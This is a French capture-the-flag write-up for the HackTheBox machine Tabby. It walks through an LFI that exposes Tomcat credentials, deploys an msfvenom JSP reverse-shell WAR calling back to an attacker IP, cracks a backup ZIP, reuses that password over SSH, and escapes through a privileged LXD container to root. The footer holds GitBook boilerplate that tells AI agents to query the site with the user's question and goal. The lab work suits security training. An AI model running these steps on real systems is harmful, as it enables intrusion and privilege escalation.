> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Récapitulatif HackTheBox de Tabby

Récapitulatif de la machine HackTheBox Linux facile Tabby couvrant l'inclusion locale de fichiers (LFI), l'abus du Virtual Host Manager de Tomcat, l'abus du gestionnaire textuel de Tomcat - déploiement d'un war malveillant (méthode Curl), l'exploita

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" icon="cube" %}
**Compétences :**

* Inclusion de fichier local (LFI)
* Déploiement du gestionnaire Apache Tomcat
* Réutilisation de mot de passe et abus du groupe LXD
  {% endhint %}

## Reconnaissance

Créez un espace de travail pour la machine.

```bash
mkdir Tabby
cd !$
mkt

settarget 10.129.5.156 Tabby
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe7o3wiOnIyuWGYudKNWg%2Fimage.png?alt=media&amp;token=2508f754-8860-4d07-8e84-387c1d1f3986" alt=""><figcaption></figcaption></figure>

Un TTL de 64 indique une cible Linux. Ajoutez le nom d'hôte à `/etc/hosts`.

```bash
ping 10.129.5.156

nano /etc/hosts
```

```bash
10.129.5.156 megahosting.htb
```

### Nmap

Analysez tous les ports TCP ouverts.

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts
```

* 8080
* 22
* 80

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNYidvnlT5TihRho3e1Jq%2Fimage.png?alt=media&amp;token=f8170f59-d66b-4836-adc1-f5ed089d52b8" alt=""><figcaption></figcaption></figure>

Analysez les ports découverts pour les versions des services et les scripts par défaut.

```bash
nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFFN1PYLkEWRj8aYrz60M%2Fimage.png?alt=media&amp;token=fd9a40ce-0659-4497-b0d8-cff8b34a3739" alt=""><figcaption></figcaption></figure>

#### Port 80

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FRFtmfwN4IvKk3ch0LiaC%2Fimage.png?alt=media&amp;token=2d3830ca-53d9-4c06-adbb-b4b4de0e20d8" alt=""><figcaption></figcaption></figure>

**Inclusion de fichier local**

Le `news.php` `fichier` le paramètre est vulnérable à l'inclusion de fichier local (LFI).

```bash
news.php?file=../../../../../etc/passwd
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiUsRyX98QIdn0snDGXVM%2Fimage.png?alt=media&amp;token=8f944166-9ffb-4d6b-8b87-e8720eba5d66" alt=""><figcaption></figcaption></figure>

#### Port 8080

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlUQyzpUjxmTdgLHZLjdI%2Fimage.png?alt=media&amp;token=1bc369ec-278c-4c86-aa84-59d3a5b76ed8" alt=""><figcaption></figcaption></figure>

Tomcat 9 est installé. Ses identifiants sont stockés dans :

* `/usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmpiLbVwjhTvnjMROLmNb%2Fimage.png?alt=media&amp;token=7455009c-8737-4c15-b166-10933928bd99" alt=""><figcaption></figcaption></figure>

Le panneau Tomcat indique que `CATALINA_HOME` est `/usr/share/tomcat9`.

Le chemin complet est :

```bash
/usr/share/tomcat9/etc/tomcat-users.xml
```

Utilisez le path traversal pour récupérer les identifiants Tomcat.

```bash
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrSq3zmlbVTMgX6hO846q%2Fimage.png?alt=media&amp;token=f3bf9875-0e55-41c6-8613-a4574bb7d5b4" alt=""><figcaption></figcaption></figure>

Ouvrez le gestionnaire d'hôtes virtuels Tomcat :

* <http://megahosting.htb:8080/host-manager/html>

La cible exécute Tomcat 9.0.31.

Connectez-vous avec les identifiants récupérés.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FS9iUs8Q9tWvabpP2BcFl%2Fimage.png?alt=media&amp;token=a5561753-b06a-4aff-94ba-cb1ebb504d24" alt=""><figcaption></figcaption></figure>

Cette référence décrit une autre méthode pour exploiter Tomcat via Host Manager.

{% embed url="<https://www.certilience.fr/blog/tomcat-exploit-variant-host-manager/>" %}

### Accès initial

#### Créez un fichier WAR

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FQT6XSrd1vJYwQyGbg46Y%2Fimage.png?alt=media&amp;token=8f7a89d1-6bd5-4c9b-a03b-99eadd3fae5e" alt=""><figcaption></figcaption></figure>

#### Déployez le fichier WAR

Déployez le fichier WAR avec `curl`:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

#### Déclenchez le shell inversé

Écoutez sur le port `443`:

{% code overflow="wrap" %}

```bash
sudo nc -nlvp 443
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6oo9OWKTTOYYby5Snne9%2Fimage.png?alt=media&amp;token=607152a6-9057-4a5f-9809-e0d35a435f24" alt=""><figcaption></figcaption></figure>

Accédez à <http://megahosting.htb:8080/reverse> pour déclencher le shell inversé.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYk78JZXeLHegyRP4yRM1%2Fimage.png?alt=media&amp;token=be1a0929-bcd5-4d48-ac5e-e7dc26e1eee5" alt=""><figcaption></figcaption></figure>

#### Stabilisez le TTY

{% code overflow="wrap" %}

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Puis appuyez sur Ctrl+Z.
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### Élévation de privilèges

#### Inspectez le répertoire web

Inspectez `/var/www/html`. Le `fichiers` répertoire contient `16162020_backup.zip`.

Servez l’archive depuis la cible :

```bash
python3 -m http.server 655
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b42f71ed53d7577072e50b9f927440f20a657f9%2F%7BCF8C7E91-3503-4E8C-9C9C-EEA6AABC5318%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Téléchargez-la depuis votre machine :

```bash
wget http://megahosting.htb:655/files/16162020_backup.zip
```

#### Cassez l’archive ZIP

L’archive ZIP est protégée par mot de passe.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d861a249334e612eba764a2de0f6f6d8182ca81%2Fimage%20(1148).png?alt=media" alt=""><figcaption></figcaption></figure>

Extrayez son hash avec `zip2john`:

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d6e51ba4357812cdd5f8e6922fcc41165b98e0%2Fimage%20(1149).png?alt=media" alt=""><figcaption></figcaption></figure>

Cassez le hash avec `john`:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

Le mot de passe récupéré est `admin@it`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a32556046620757b2a656ebafb1c3ca636e970%2Fimage%20(1150).png?alt=media" alt=""><figcaption></figcaption></figure>

Utilisez le mot de passe pour extraire et inspecter l’archive.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e80250cedf41dd12c28b912f55c7a4c2c21ca36%2Fimage%20(1151).png?alt=media" alt=""><figcaption></figcaption></figure>

L’extraction crée un `var` répertoire avec peu de fichiers utiles. Cependant, `admin@it` s’authentifie aussi en tant que `ash` sur la cible.

```bash
ssh ash@megahosting.htb
```

#### Flag utilisateur

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87acfee797cc93fb20e49b1c7ac693103b42274a%2Fimage%20(1152).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitez l’appartenance au groupe LXD

Le `ash` l’utilisateur appartient au `lxd` groupe. Cela permet d’abuser de LXC pour obtenir un accès root.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

L’appartenance au groupe LXD permet à un conteneur privilégié de monter le système de fichiers de l’hôte.

#### Importez une image Alpine

Créez ou téléchargez une image Alpine LXD sur votre machine. Servez l’image :

```bash
python3 -m http.server 80
```

Téléchargez et importez l’image sur la cible :

```bash
cd /tmp
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
export PATH=$PATH:/snap/bin
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Créez un conteneur privilégié et montez le système de fichiers racine de l’hôte :

```bash
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

Le système de fichiers racine de la cible est maintenant disponible à `/mnt/root`.

```bash
cat /mnt/root/root/root.txt
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Flag root

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f973c1d44285c1d324b1475c66a3f1adb6df52f1%2Fimage%20(2389).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
